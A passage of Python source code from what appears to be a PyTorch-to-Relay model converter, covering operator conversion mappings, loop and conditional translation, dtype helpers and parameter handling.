( len(layer_weights_dicts) == num_layers and k == num_layers ), "For stacked LSTM number of weights sets should be the same as number of layers!" outputs = self.lstm_layers( X, layer_weights_dicts, bidirectional, dtype=X_dtype, dropout_p=dropout_p, ) # output shape = (seq_num, batch, hidden_size) or # (seq_num, batch, 2*feature_size) for bidirectional output = outputs[0] hy = [] cy = [] for hidden in outputs[1]: hy.append(hidden[0]) cy.append(hidden[1]) if batch_first: output = _op.transpose(output, (1, 0, 2)) return (output, _op.stack(hy, 0), _op.stack(cy, 0)) def all_any_common(self, op, inputs, input_types): dim = inputs[1] keepdim = inputs[2] if self.infer_type(inputs[0]).dtype != "bool": # The input dtype can be uint8. inp = _op.cast(inputs[0], "bool") else: inp = inputs[0] return op(inp, axis=dim, keepdims=keepdim) def searchsorted_common(self, sorted_sequence, values, out_int32, right): dtype = "int32" if out_int32 else "int64" values_shape = _infer_shape(values) if len(values_shape) == 0: values = _op.expand_dims(values, 0) out = _op.searchsorted(sorted_sequence, values, right=right, dtype=dtype) if len(values_shape) == 0: return _op.squeeze(out) return out def searchsorted(self, inputs, input_types): return self.searchsorted_common(*inputs) def bucketize(self, inputs, input_types): return self.searchsorted_common(inputs[1], inputs[0], inputs[2], inputs[3]) def roll(self, inputs, input_types): def slide_axes(inp, shape, ax): axes = list(range(len(shape))) axes = axes[:ax] + [-1] + axes[ax:-1] return _op.transpose(inp, axes) x = inputs[0] shifts = inputs[1] dims = inputs[2] shape = self.infer_shape(x) start = _expr.const(0, "int64") step = _expr.const(1, "int64") out = x for i, dim in enumerate(dims): roll_dim = _expr.const(shape[dim], "int64") indices_1d = _op.mod( _op.transform.arange(start, roll_dim, step, "int64") - _expr.const(shifts[i], "int64") + roll_dim, roll_dim, ) # First fill in the last axis with roll indices, and then do transpose to # bring the roll indices into the desired axis. indices = slide_axes( _op.tile(indices_1d, shape[:dim] + shape[dim + 1 :] + (1,)), shape, dim, ) out = _op.gather(out, dim, indices) return out # Operator mappings def create_convert_map(self): self.convert_map = { "aten::is_floating_point": self.is_floating_point, "aten::pixel_shuffle": self.pixel_shuffle, "aten::device": self.none, "prim::device": self.none, "aten::sub": self.make_elemwise("subtract"), "aten::sub_": self.make_elemwise("subtract"), "aten::max": self.max, "aten::min": self.min, "aten::mul": self.make_elemwise("multiply"), "aten::mul_": self.make_elemwise("multiply"), "aten::pow": self.make_elemwise("power"), "aten::arange": self.arange, "aten::meshgrid": self.meshgrid, "aten::div": self.make_elemwise("divide"), "aten::div_": self.make_elemwise("divide"), "aten::floor_divide": self.make_elemwise("floor_divide"), "aten::floor_divide_": self.make_elemwise("floor_divide"), "aten::true_divide": self.make_elemwise("divide"), "aten::addcdiv": self.addcdiv, "aten::addcmul": self.addcmul, "aten::ones": self.ones, "aten::ones_like": self.ones_like, "aten::zeros": self.zeros, "aten::zeros_like": self.zeros_like, "aten::full": self.full, "aten::full_like": self.full_like, "aten::linspace": self.linspace, "aten::reciprocal": self.reciprocal, "aten::repeat": self.repeat, "aten::repeat_interleave": self.repeat_interleave, "aten::to": self.to, "aten::squeeze": self.squeeze, "aten::unsqueeze": self.unsqueeze, "aten::unsqueeze_": self.unsqueeze, "aten::cat": self.concatenate, "aten::slice": self.slice, "aten::narrow": self.narrow, "aten::split": self.split, "aten::split_with_sizes": self.split_with_sizes, "aten::select": self.select, "aten::take": self.take, "aten::where": self.where, "aten::topk": self.topk, "aten::relu": self.relu, "aten::relu_": self.relu, "aten::prelu": self.prelu, "aten::leaky_relu": self.leaky_relu, "aten::leaky_relu_": self.leaky_relu, "aten::elu": self.elu, "aten::elu_": self.elu, "aten::celu": self.celu, "aten::gelu": self.gelu, "aten::selu": self.selu, "aten::silu": self.silu, "aten::silu_": self.silu, "aten::log_sigmoid": self.log_sigmoid, "aten::adaptive_avg_pool1d": functools.partial( self.adaptive_avg_pool, _op.nn.adaptive_avg_pool1d ), "aten::adaptive_avg_pool2d": functools.partial( self.adaptive_avg_pool, _op.nn.adaptive_avg_pool2d ), "aten::adaptive_avg_pool3d": functools.partial( self.adaptive_avg_pool, _op.nn.adaptive_avg_pool3d ), "aten::adaptive_max_pool1d": functools.partial( self.adaptive_max_pool, _op.nn.adaptive_max_pool1d ), "aten::adaptive_max_pool2d": functools.partial( self.adaptive_max_pool, _op.nn.adaptive_max_pool2d ), "aten::adaptive_max_pool3d": functools.partial( self.adaptive_max_pool, _op.nn.adaptive_max_pool3d ), "aten::max_pool2d": self.maxpool_2d, "aten::max_pool2d_with_indices": self.maxpool_2d_with_indices, "aten::max_pool1d": self.maxpool_1d, "aten::max_pool3d": self.maxpool_3d, "aten::hardtanh": self.hardtanh, "aten::hardtanh_": self.hardtanh, "aten::_convolution": self.convolution, "aten::softmax": self.softmax, "aten::threshold": self.threshold, "aten::threshold_": self.threshold, "aten::contiguous": self.contiguous, "aten::batch_norm": self.batch_norm, "aten::instance_norm": self.instance_norm, "aten::layer_norm": self.layer_norm, "aten::group_norm": self.group_norm, "aten::transpose": self.transpose, "aten::transpose_": self.transpose, "aten::t": self.transpose, "aten::flatten": self.flatten, "aten::addmm": self.addmm, "aten::size": self.size, "aten::view": self.view, "aten::reshape": self.reshape, "aten::clone": self.clone, "aten::log_softmax": self.log_softmax, "aten::sigmoid": self.sigmoid, "aten::sigmoid_": self.sigmoid, "aten::softplus": self.softplus, "aten::avg_pool1d": self.make_avg_pool(1), "aten::avg_pool2d": self.make_avg_pool(2), "aten::avg_pool3d": self.make_avg_pool(3), "aten::linear": self.linear, "aten::dropout": self.dropout, "aten::dropout_": self.dropout, "aten::feature_dropout": self.dropout, "aten::alpha_dropout": self.dropout, "aten::mean": self.mean, "aten::chunk": self.chunk, "aten::unsafe_chunk": self.chunk, "aten::matmul": self.matmul, "aten::bmm": self.matmul, "aten::expand": self.expand, "aten::Int": self.int, "prim::NumToTensor": self.numtotensor, "prim::ImplicitTensorToNum": self.tensortonum, "aten::ScalarImplicit": self.tensortonum, "aten::constant_pad_nd": self.make_pad("constant"), "aten::reflection_pad1d": self.make_pad("reflect"), "aten::reflection_pad2d": self.make_pad("reflect"), "aten::replication_pad1d": self.make_pad("edge"), "aten::replication_pad2d": self.make_pad("edge"), "aten::replication_pad3d": self.make_pad("edge"), "aten::permute": self.transpose, "aten::sum": self.make_reduce("sum"), "aten::prod": self.make_reduce("prod"), "aten::argmin": self.make_reduce("argmin"), "aten::argmax": self.make_reduce("argmax"), "aten::norm": self.norm, "aten::frobenius_norm": self.frobenius_norm, "aten::std": self.std, "aten::var": self.variance, "aten::abs": self.make_unary("abs"), "aten::neg": self.make_unary("negative"), "aten::cos": self.make_unary("cos"), "aten::cosh": self.make_unary("cosh"), "aten::sin": self.make_unary("sin"), "aten::sinh": self.make_unary("sinh"), "aten::tan": self.make_unary("tan"), "aten::tanh": self.make_unary("tanh"), "aten::tanh_": self.make_unary("tanh"), "aten::acos": self.make_unary("acos"), "aten::asin": self.make_unary("asin"), "aten::atan": self.make_unary("atan"), "aten::log": self.make_unary("log"), "aten::log2": self.make_unary("log2"), "aten::log10": self.make_unary("log10"), "aten::log1p": self.log1p, "aten::exp": self.make_unary("exp"), "aten::erf": self.make_unary("erf"), "aten::trunc": self.make_unary("trunc"), "aten::sign": self.make_unary("sign"), "aten::sqrt": self.make_unary("sqrt"), "aten::rsqrt": self.make_unary("rsqrt"), "aten::ceil": self.make_unary("ceil"), "aten::floor": self.make_unary("floor"), "aten::floor_": self.make_unary("floor"), "aten::round": self.make_unary("round"), "aten::isfinite": self.make_unary("isfinite"), "aten::isinf": self.make_unary("isinf"), "aten::isnan": self.make_unary("isnan"), "aten::clamp": self.clamp, "aten::clamp_": self.clamp, "aten::detach": self.identity, "aten::upsample_bilinear2d": self.make_upsample("linear"), "aten::upsample_bicubic2d": self.make_upsample("cubic"), "aten::upsample_nearest2d": self.make_upsample("nearest_neighbor"), "aten::upsample_trilinear3d": self.make_upsample3d("linear"), "aten::upsample_nearest3d": self.make_upsample3d("nearest_neighbor"), "aten::expand_as": self.expand_as, "aten::lt": self.make_elemwise("less"), "aten::gt": self.make_elemwise("greater"), "aten::le": self.make_elemwise("less_equal"), "aten::ge": self.make_elemwise("greater_equal"), "aten::ne": self.make_elemwise("not_equal"), "aten::eq": self.make_elemwise("equal"), "aten::logical_not": self.logical_not, "aten::logical_xor": self.logical_xor, "aten::bitwise_not": self.bitwise_not, "aten::bitwise_xor": self.bitwise_xor, "aten::Bool": self.Bool, "aten::Float": self.Float, "aten::rsub": self.rsub, "aten::embedding": self.embedding, "aten::one_hot": self.one_hot, "aten::mm": self.matmul, "aten::add": self.add, "aten::add_": self.add, "aten::stack": self.stack, "aten::__getitem__": self.list_getitem, "aten::len": self.list_len, "aten::type_as": self.type_as, "aten::gather": self.gather, "aten::index_select": self.select, "aten::index": self.index, "torchvision::nms": self.nms, "aten::logsumexp": self.logsumexp, "torchvision::roi_align": self.roi_align, "torchvision::deform_conv2d": self.deform_conv2d, "aten::unbind": self.unbind, "aten::__and__": self.logical_and, "aten::logical_and": self.logical_and, "aten::_shape_as_tensor": self.shape_as_tensor, "aten::nonzero": self.nonzero, "aten::nonzero_numpy": self.nonzero_numpy, "aten::scatter": self.scatter, "aten::index_put": self.index_put, "aten::index_put_": self.index_put, "aten::scalar_tensor": self.scalar_tensor, "aten::__interpolate": self.interpolate, "aten::IntImplicit": self.identity, "aten::tensor": self.identity, # used for example in tensor(1.0) "aten::numel": self.numel, "aten::empty": self.empty, "aten::bincount": self.bincount, "aten::scatter_add": self.scatter_add, "aten::__not__": self.logical_not, "aten::hardswish_": self.hard_swish, "aten::hardswish": self.hard_swish, "aten::hardsigmoid_": self.hard_sigmoid, "aten::hardsigmoid": self.hard_sigmoid, "aten::cumsum": self.cumsum, "aten::masked_fill": self.masked_fill, "aten::masked_fill_": self.masked_fill, "aten::masked_select": self.masked_select, "aten::argsort": self.argsort, "aten::sort": self.sort, "aten::_unique2": self.unique, "aten::nll_loss": self.nll_loss, "aten::nll_loss2d": self.nll_loss, "aten::flip": self.flip, "aten::gru": self.gru, "aten::lstm": self.lstm, "aten::all": functools.partial(self.all_any_common, _op.all), "aten::any": functools.partial(self.all_any_common, _op.any), "aten::searchsorted": self.searchsorted, "aten::bucketize": self.bucketize, "aten::roll": self.roll, } def update_convert_map(self, custom_map): self.convert_map.update(custom_map) def report_missing_conversion(self, op_names): """Check if all ops in an input graph are supported by TVM""" known_ops = [ "prim::Constant", "prim::GetAttr", "prim::ListConstruct", "prim::ListUnpack", "prim::TupleConstruct", "prim::TupleUnpack", "prim::RaiseException", "prim::If", "prim::Loop", ] known_ops += list(self.convert_map.keys()) known_ops += list(qnn_torch.convert_map.keys()) missing = [op_name for op_name in op_names if op_name not in known_ops] if missing: msg = "The following operators are not implemented: {}".format(missing) raise NotImplementedError(msg) def convert_block(self, block, outputs): """Translate Torch "Block", used for prim::If and prim::Loop""" ops = _get_operator_nodes(block.nodes()) ret_names = _get_input_names(block.returnNode()) return self.convert_operators(ops, outputs, ret_names) def convert_if(self, if_node, outputs): """Translate Torch prim::If to Relay If""" cond = outputs[if_node.inputsAt(0).debugName()] blocks = list(if_node.blocks()) true_branch = self.convert_block(blocks[0], outputs) false_branch = self.convert_block(blocks[1], outputs) assert len(true_branch) == 1 and len(false_branch) == 1 return _expr.If(cond, true_branch[0], false_branch[0]) def convert_loop(self, loop_node, outputs): """Translate Torch prim::Loop to Relay while_loop""" def get_input(index): ivalue = loop_node.inputsAt(index) inode = ivalue.node() if inode.kind() == "prim::Constant": return _expr.const(_get_constant(inode)) var_name = ivalue.debugName() assert var_name in outputs return _wrap_const(outputs[var_name]) # Refer to the spec for prim::Loop below # https://github.com/pytorch/pytorch/blob/master/torch/csrc/jit/OVERVIEW.md#loops # The first input: %max_trip_count # The second input: %initial_condition # The rest of input: loop variables max_loop_count = get_input(0) init_cond = get_input(1) num_loop_var = len(list(loop_node.inputs())) - 2 init_vals = [get_input(i + 2) for i in range(num_loop_var)] # while loop has always max_loop_count being int64 max # max_loop_count.data (tvm.runtime.NDArray) is -1, so _get_constant again is_while_loop = ( isinstance(max_loop_count, _expr.Constant) and _get_constant(loop_node.inputsAt(0).node()) == sys.maxsize ) if is_while_loop: loop_iter_dtype = "bool" # while loop with non input dependent condition such as while i < 10: # init_cond is int, need to cast to bool to type check if isinstance(init_cond, _expr.Constant): init_cond = _op.cast(init_cond, "bool") init_loop_iter_val = init_cond else: loop_iter_dtype = "int32" # always count from 0 init_loop_iter_val = _expr.const(0, dtype="int32") body_block = list(loop_node.blocks())[0] block_input_names = _get_input_names(body_block) num_block_inputs = len(block_input_names) name_val_pairs = list(zip(block_input_names, [init_loop_iter_val] + init_vals)) outputs.update(name_val_pairs) def get_var(name, val): if val: checked_type = self.infer_type_with_prelude(val) if hasattr(checked_type, "shape"): shape = get_const_tuple(checked_type.shape) actual_shape = [] for dim in shape: if isinstance(dim, int) and dim == 0: actual_shape.append(Any()) else: actual_shape.append(dim) return _expr.var(name, shape=actual_shape, dtype=checked_type.dtype) else: return _expr.var(name, type_annotation=checked_type) return _expr.var(name) loop_iter_var = _expr.var(block_input_names[0], shape=(), dtype=loop_iter_dtype) loop_vars = [get_var(name, val) for name, val in name_val_pairs[1:]] # Add non constant free variables to loop variables to prevent code blow up # Without this, if there are two for loops in a row, which often happens # if the outer loop is unrolled, the computation corresponding to the first for loop # is inlined inside loop body, turning O(N) + O(N) computation into O(N^2). # This issue was found when converting from Stacked LSTM test. Torch does not add the # outputof the eariler loop into loop variables of the next loop. # So the variable corresponding to the first loop output appears free in the second # loop body. free_vars = [ var for var in _get_free_vars_from_block(body_block) if var in outputs and not isinstance(outputs[var], (_expr.Constant, int, float, str)) and outputs[var] ] prev_outputs = {} for name in free_vars: prev_output = outputs[name] new_loop_var = get_var(name, prev_output) prev_outputs[name] = prev_output outputs[name] = new_loop_var loop_vars.append(new_loop_var) init_vals.append(prev_output) def cond(*current_vals): i = current_vals[0] if is_while_loop: return _op.equal(i, _expr.const(True, "bool")) return _op.less(i, max_loop_count) def body(*current_vals): # Update loop variables using the prev iteration outputs assert len(current_vals) == num_block_inputs + len(free_vars) for (i, val) in enumerate(current_vals): if i < num_block_inputs: outputs[block_input_names[i]] = val else: outputs[free_vars[i - num_block_inputs]] = val block_outputs = self.convert_block(body_block, outputs) block_outputs += [outputs[name] for name in free_vars] if not is_while_loop: # iter var increment implicit in torch, so do it manually # for while loop, block_outputs[0] is already a boolean, # the result of termination check incr = _expr.const(1, dtype="int32") block_outputs[0] = current_vals[0] + incr return block_outputs loop = while_loop(cond, [loop_iter_var] + loop_vars, body) loop_val = loop(init_loop_iter_val, *init_vals) # restore original output values for free vars outputs.update(prev_outputs) # The first element is a loop counter or boolean condition, ignore it return [_expr.TupleGetItem(loop_val, i + 1) for i in range(num_loop_var)] def convert_operators(self, operators, outputs, ret_names): """Convert each Torch IR operators to Relay equivalent""" # an op node might not belong to any of scope in trace info natively # use a cunter to prevent from messing up its scope in span empty_counter = 0 for node_name, op_node in operators: operator = op_node.kind() inputs = _get_op_inputs(op_node, outputs) if operator == "prim::Constant": outputs[node_name] = _get_constant(op_node) elif operator == "prim::ListConstruct" and _should_construct_dynamic_list(op_node): outputs[node_name] = self.convert_to_list_adt(inputs) elif operator == "prim::ListConstruct": # This assumes that no more elements will be appended to this list # In this case, we keep the Python list outputs[node_name] = inputs elif operator == "prim::TupleConstruct": outputs[node_name] = _expr.Tuple(inputs) elif operator in ["prim::ListUnpack", "prim::TupleUnpack"]: assert len(inputs) == 1 if isinstance(inputs[0], (list, _expr.TupleWrapper)): unpacked = inputs[0] else: unpacked = _unpack_tuple(inputs[0]) outputs.update(zip(_get_output_names(op_node), unpacked)) elif operator == "prim::prim::RaiseException": logging.warning("raising exceptions is ignored") outputs[node_name] = None elif operator == "prim::If": if_out = self.convert_if(op_node, outputs) outputs[node_name] = if_out elif operator == "prim::Loop": loop_out = self.convert_loop(op_node, outputs) unpacked_names = _get_output_names(op_node) assert len(loop_out) == len(unpacked_names) outputs.update(zip(unpacked_names, loop_out)) else: relay_op = self.convert_map[operator] relay_out = relay_op( inputs, _get_input_types(op_node, outputs, default_dtype=self.default_dtype) ) span_str, empty_counter = self._get_torch_span(op_node, empty_counter) relay_out = set_span(relay_out, span_str) self.record_output_type(relay_out) if isinstance(relay_out, tuple): # This is for torch operators that return multiple outputs # See _adaptive_max_2d above for example out_names = _get_output_names(op_node) outputs.update(zip(out_names, relay_out)) else: assert op_node.outputsSize() == 1 outputs[node_name] = relay_out return [_wrap_const(outputs[ret_name]) for ret_name in ret_names] def _get_torch_span(self, node, empty_counter): # torch span looks like # %input.5 : Float(...) = aten::relu_(%input.3), scope: __module.relu # ${torch}/nn file # the scope part might not exist if node.scopeName(): scope_name_str = "jit._trace.TopLevelTracedModule: " + node.scopeName() else: scope_name_str = "warning: no trace info " + str(empty_counter) empty_counter += 1 span_str = "C.graph: {}, {}".format(node.kind(), scope_name_str) return span_str, empty_counter def _pytorch_result_type(dtypes, non_tensor_inputs): """This promotes TVM dtypes like PyTorch would""" import torch dtype_map = { "float64": torch.float64, "float32": torch.float32, "float16": torch.float16, "bfloat16": torch.bfloat16, "int64": torch.int64, "int32": torch.int32, "int16": torch.int16, "int8": torch.int8, "uint8": torch.uint8, "bool": torch.bool, } if len(dtypes) > 0: result_type = dtypes[0] for dt in dtypes[1:]: if dt != result_type: # we don't want to work with same types as we # don't do quantized here (which cannot be promoted?) result_type = _convert_data_type( str( torch.result_type( torch.zeros((), dtype=dtype_map[result_type]), torch.zeros((), dtype=dtype_map[dt]), ) ) ) else: result_type = "bool" # this is the smallest type... for inp in non_tensor_inputs: result_type = _convert_data_type( str(torch.result_type(torch.zeros((), dtype=dtype_map[result_type]), inp)) ) return result_type # Helper functions for operator implementation def _convert_dtype_value(val): """converts a PyTorch the PyTorch numeric type id to a torch scalar type.""" convert_torch_dtype_map = { 7: "torch.float64", 6: "torch.float32", 5: "torch.float16", 4: "torch.int64", 3: "torch.int32", 2: "torch.int16", 1: "torch.int8", 0: "torch.unit8", None: "torch.int64", } # Default is torch.int64 if val in convert_torch_dtype_map: return _convert_data_type(convert_torch_dtype_map[val]) else: msg = "Torch data type value %d is not handled yet." % (val) raise NotImplementedError(msg) def _convert_data_type(input_type, default_dtype=None): """converts the PyTorch scalar type input_type to a TVM dtype. optionally, default_dtype can be a TVM dtype that is used if input_type is None (but not when it is unknown)""" if input_type is None and default_dtype is not None: return default_dtype input_type = input_type.lower() if input_type in ["double", "float64", "torch.float64"]: return "float64" elif input_type in ["float", "float32", "torch.float32"]: return "float32" elif input_type in ["half", "float16", "torch.float16"]: return "float16" elif input_type in ["long", "int64", "torch.int64"]: return "int64" elif input_type in ["int", "int32", "torch.int32"]: return "int32" elif input_type in ["short", "int16", "torch.int16"]: return "int16" elif input_type in ["char", "int8", "torch.int8"]: return "int8" elif input_type in ["byte", "uint8", "torch.uint8"]: return "uint8" elif input_type in ["quint8", "torch.quint8"]: return "quint8" elif input_type in ["qint8", "torch.qint8"]: return "qint8" elif input_type in ["qint32", "torch.qint32"]: return "qint32" elif input_type in ["bool", "torch.bool"]: return "bool" elif input_type in ["str"]: return "str" else: raise NotImplementedError("input_type {} is not handled yet".format(input_type)) return "float32" # Never reached def _create_typed_const(data, dtype): """create a (scalar) constant of given value and dtype. dtype should be a TVM dtype""" if dtype == "float64": typed_data = _expr.const(np.float64(data), dtype=dtype) elif dtype == "float32": typed_data = _expr.const(np.float32(data), dtype=dtype) elif dtype == "float16": typed_data = _expr.const(np.float16(data), dtype=dtype) elif dtype == "int64": typed_data = _expr.const(np.int64(data), dtype=dtype) elif dtype == "int32": typed_data = _expr.const(np.int32(data), dtype=dtype) elif dtype == "int16": typed_data = _expr.const(np.int16(data), dtype=dtype) elif dtype == "int8": typed_data = _expr.const(np.int8(data), dtype=dtype) elif dtype == "uint8": typed_data = _expr.const(np.uint8(data), dtype=dtype) else: raise NotImplementedError("input_type {} is not handled yet".format(dtype)) return typed_data def _wrap_const(c): if not isinstance(c, (_expr.Expr, list, tvm.tir.expr.Any)): return _expr.const(c) return c def _run_jit_passes(graph): """The inline pass is necessary to unwrap prim::CallMethod""" # pylint: disable=c-extension-no-member import torch if is_version_greater_than("1.5.1"): # This is required for torchvision detection models from 1.6 above # It is the same as _jit_pass_inline, except that it has some special # case behaviors for some ops such as aten::__interpolate() torch._C._jit_pass_onnx_function_substitution(graph) else: torch._C._jit_pass_inline(graph) def _get_tensor_and_var(torch_tensor, name): tensor = tvm.nd.array(torch_tensor.cpu().numpy()) var = _expr.var(name, shape=tensor.shape, dtype=tensor.dtype) return tensor, var def _get_output_name(node): assert node.outputsSize() == 1 return node.output().debugName() def _get_output_names(node): return [output.debugName() for output in node.outputs()] def _get_input_names(node_or_graph): return [inp.debugName() for inp in node_or_graph.inputs()] def _get_op_inputs(op_node, outputs): return [outputs[name] for name in _get_input_names(op_node)] def _get_node_type(node): assert node.outputsSize() == 1 return node.output().type().kind() def _get_uses(node): uses = [] for output in node.outputs(): uses += output.uses() return uses def _get_users(node): return [use.user for use in _get_uses(node)] def _getattr_attr_name(node): attribute_names = node.attributeNames() assert len(attribute_names) == 1 attr_name = node.s(attribute_names[0]) return attr_name def _getattr_full_name(getattrs, sep="."): return sep.join([_getattr_attr_name(node) for node in getattrs]) def _get_pytorch_value_type(typ, default_dtype="float32"): kind = typ.kind() if kind == "TensorType": if typ.scalarType() is None: # Tensor's type can be unknown if we use torch.jit.script(...) # Defaults can be passed in, if not it is float32 logging.warning("Untyped Tensor found, assume it is %s", default_dtype) return default_dtype else: return _convert_data_type(typ.scalarType()) elif kind == "ListType": return "ListType" elif kind in ["IntType", "FloatType", "BoolType", "StringType", "OptionalType"]: pt_dtype = str(typ).lower() dtype = pt_dtype if pt_dtype == "OptionalType" else _convert_data_type(pt_dtype) return dtype else: return "UnsupportedType" def _get_input_types(op_node, outputs, default_dtype="float32"): """Returns a TVM dtype for each input nodes derived from the torch type""" in_types = [] for inp in op_node.inputs(): if inp.node().kind() == "prim::GetAttr": # GetAttr nodes always return None when we call scalarType() on it name = inp.debugName() assert name in outputs if isinstance(outputs[name], _expr.Var): in_types.append(outputs[name].type_annotation.dtype) else: # For quantized modules with parameters, here we would get # "prim::GetAttr[name="_packed_params"]". Since the dtype corresponding to # _packed_params is not needed by quantized ops, we return an arbitrary type. in_types.append(default_dtype) else: in_types.append(_get_pytorch_value_type(inp.type(), default_dtype=default_dtype)) return in_types def _get_constant(node): """Retrieve a constant associated with this prim::Constant node""" attribute_names = node.attributeNames() num_attributes = len(attribute_names) if num_attributes == 1: attr_name = attribute_names[0] ty = node.output().type().kind() if ty == "IntType": return node.i(attr_name) elif ty == "BoolType": return bool(node.i(attr_name)) elif ty in ["FloatType", "LongType"]: return node.f(attr_name) elif ty in ["TensorType", "CompleteTensorType"]: tensor = node.t(attr_name) if tensor.is_cuda: tensor = tensor.cpu() if len(tensor.shape) == 0: # tensor(0.1) # TODO(t-vi): When is this needed? return tensor.item() return _wrap_const(tensor.numpy()) elif ty in ["DeviceObjType", "StringType"]: return node.s(attr_name) elif ty == "FunctionType": return None else: raise NotImplementedError("Unsupported type: %s" % ty) else: assert num_attributes == 0 return None def _get_operator_nodes(nodes): """Returns torch IR nodes that need conversion to Relay""" ops = [] # Traverse nodes and add to graph for node in nodes: if node.outputsSize() == 0: continue if node.outputsSize() > 1: node_name = "_".join(_get_output_names(node)) else: node_name = _get_output_name(node) if node.kind() != "prim::GetAttr": ops.append((node_name, node)) return ops def _get_relay_input_vars(graph, input_infos, prelude, is_module=True, default_dtype="float32"): """ Return Relay vars from input shapes and create entries based on expected graph inputs - to allow translation """ graph_inputs = list(graph.inputs()) if is_module: # a module has "self" as first input, which we do not need/want graph_inputs = graph_inputs[1:] if not isinstance(input_infos, list): msg = "Graph inputs input_infos should be a list" raise RuntimeError(msg) if len(graph_inputs) != len(input_infos): msg = "PyTorch has {} inputs and input_infos lists {}.".format( len(graph_inputs), len(input_infos) ) raise RuntimeError(msg) def get_relay_ty(ishape, itype, pt_type): if pt_type.kind() == "TensorType": if not (_is_int_seq(ishape) or len(ishape) == 0): msg = "Shape for Tensors must be lists of ints" raise RuntimeError(msg) if (pt_type.dim() is not None and pt_type.dim() != len(ishape)) or ( pt_type.sizes() is not None and any([s1 != s2 for s1, s2 in zip(pt_type.sizes(), ishape)]) ): msg = "Shapes of input list and information in the graph do not match" raise RuntimeError(msg) pt_dtype = pt_type.scalarType() if not pt_dtype and itype: pt_dtype = itype dtype = _convert_data_type(pt_dtype, default_dtype=default_dtype) return TensorType(ishape, dtype) elif pt_type.kind() == "TupleType": if not isinstance(ishape, tuple): msg = "Shapes for tuples must be tuples" raise RuntimeError(msg) return TupleType( [get_relay_ty(elem, itype, pt_t) for elem, pt_t in zip(ishape, pt_type.elements())] ) elif pt_type.kind() == "ListType": if not isinstance(ishape, list): msg = "Shapes for lists must be lists" raise RuntimeError(msg) pt_elemtype = pt_type.getElementType() elem_tys = [get_relay_ty(s, itype, pt_elemtype) for s in ishape] if len(elem_tys) > 0 and not all(map(lambda ty: ty == elem_tys[0], elem_tys)): msg = "List elements need have identical types" raise RuntimeError(msg) rlist, _, _ = prelude.mod.get_type("List") return rlist(elem_tys[0]) elif pt_type.kind() == "OptionalType": # we do not support None yet, so we fill in the type return get_relay_ty(ishape, itype, pt_type.getElementType()) # TODO: scalar inputs raise NotImplementedError("unsupported input type") input_vars = {} new_input_infos = [] for num, inp in enumerate(input_infos): if not isinstance(inp, tuple): msg = "Graph input {} is not a tuple".format(num) raise RuntimeError(msg) if len(inp) != 2 or not isinstance(inp[0], str): msg = ( "Graph input {} is not valid," " expected ('name', shape) or ('name', (shape, dtype))".format(inp) ) raise RuntimeError(msg) if not isinstance(inp[1], tuple) or len(inp[1]) == 0 or not isinstance(inp[1][-1], str): new_input_infos.append((inp[0], (inp[1], default_dtype))) else: new_input_infos.append(inp) input_types = [ (name, get_relay_ty(info[0], info[1], gi.type())) for (name, info), gi in zip(new_input_infos, graph_inputs) ] ir_inputs = [i.debugName() for i in graph_inputs] for ir_input, (name, itype) in zip(ir_inputs, input_types): inp = _expr.var(name, type_annotation=itype) # Translate from graph input to user input name input_vars[ir_input] = inp return input_vars def _unpack_tuple(tup): def unpack(tup, num_fields): return [_expr.TupleGetItem(tup, i) for i in range(num_fields)] if isinstance(tup, _expr.Tuple): return unpack(tup, len(tup.fields)) elif isinstance(tup.type_annotation, TupleType): return unpack(tup, len(tup.type_annotation.fields)) # shouldn't happen assert False def _get_free_vars_from_block(block): block_inp_names = _get_input_names(block) bound_names = block_inp_names free_vars = set() for node in block.nodes(): inp_names = _get_input_names(node) list_diff = [name for name in inp_names if name not in bound_names] free_vars.update(list_diff) bound_names += _get_output_names(node) return free_vars def get_use_chains(root_node, terminate=lambda _: False): """ Track a chain of users of this node forward, returning a list of chains See get_attr_chains below for its usage """ def concat_lists(lists): return itertools.chain.from_iterable(lists) def inner(current, accum): users = _get_users(current) if not users or terminate(users): return [accum] return concat_lists([inner(nxt, accum + [nxt]) for nxt in users]) return inner(root_node, [root_node]) def get_attr_chains(root_getattr_node): """Returns chains of attribute access starting from root_getattr_node For example, given attribute "block", as in "self.block" when "self" points to the top level torch.nn.Module, it returns lists of attribute "chains", e.g. ['block', '2'], ['block', '1'], ['block', '0', '_packed_params'] These sets of attributes form full attribute accessors. For example, "self.block.1", "self.block.2" will return the second and third submodule, and "self.block.0._packed_params" will return the parameters of the first submodule. """ def terminate(users): next_attrs = [user for user in users if user.kind() == "prim::GetAttr"] return len(next_attrs) == 0 return get_use_chains(root_getattr_node, terminate) def convert_params(graph, state_dict, use_parser_friendly_name=False): """ Return Relay vars and TVM NDArrays for input parameters A chain of prim::GetAttr nodes is processed one at a time """ getattr_nodes = graph.findAllNodes("prim::GetAttr", recurse=True) params = {} param_tensors = {} packed_param_map = {} vars_by_name = {} seen = set() attr_name_sep = "_" if use_parser_friendly_name else "." for node in getattr_nodes: if _get_output_name(node) in seen: continue for getattrs in get_attr_chains(node): seen.update(map(_get_output_name, getattrs)) full_attr = _getattr_full_name(getattrs, attr_name_sep) full_attr_node_name = _get_output_name(getattrs[-1]) if full_attr.endswith("_packed_params"): # for quantized models packed_param_map[full_attr_node_name] = full_attr elif full_attr in state_dict: if full_attr in vars_by_name: var = vars_by_name[full_attr] else: torch_tensor = state_dict[full_attr] tensor, var = _get_tensor_and_var(torch_tensor, full_attr) param_tensors[full_attr] = tensor vars_by_name[full_attr] = var params[full_attr_node_name] = var return params, param_tensors, packed_param_map def get_all_op_names(graph): """Return all operator names in the input graph""" nodes = list(graph.nodes()) prim_with_blocks = ["prim::If", "prim::Loop"] for prim in prim_with_blocks: prim_nodes = graph.findAllNodes(prim, recurse=True) for prim_node in prim_nodes: for block in prim_node.blocks(): nodes += block.nodes() return set(node.kind() for node in nodes) def from_pytorch( script_module, input_infos, custom_convert_map=None, default_dtype="float32", use_parser_friendly_name=False, keep_quantized_weight=False, ): """Load PyTorch model in the form of a scripted PyTorch model and convert into relay. The companion parameters will be handled automatically. Parameters ---------- script_module : TopLevelTracedModule object TorchScripted PyTorch graph Note: We currently only support traces (ie: torch.jit.trace(model, input)) input_infos : List of tuples Can be (input name, input shape) or (input name, (input shape, input types)) Graph level input shape and type list The same input names need to be used for deployment, so choose easy to remember names (such as: input0, input1) e.g. [('input0', (1, 2)), ('input1', (3, 4))] or [('input0', ((1, 2), 'int')), ('input1', ((3, 4), 'float'))] custom_convert_map : Dictionary of str to Relay op A custom op conversion map in the same format as _convert_map above default_type : str The default dtype to use when type information is not provided by PyTorch. use_parser_friendly_name : bool When True, replace '.' with `_' in a original parameter name. The Relay text parser treats a variable name 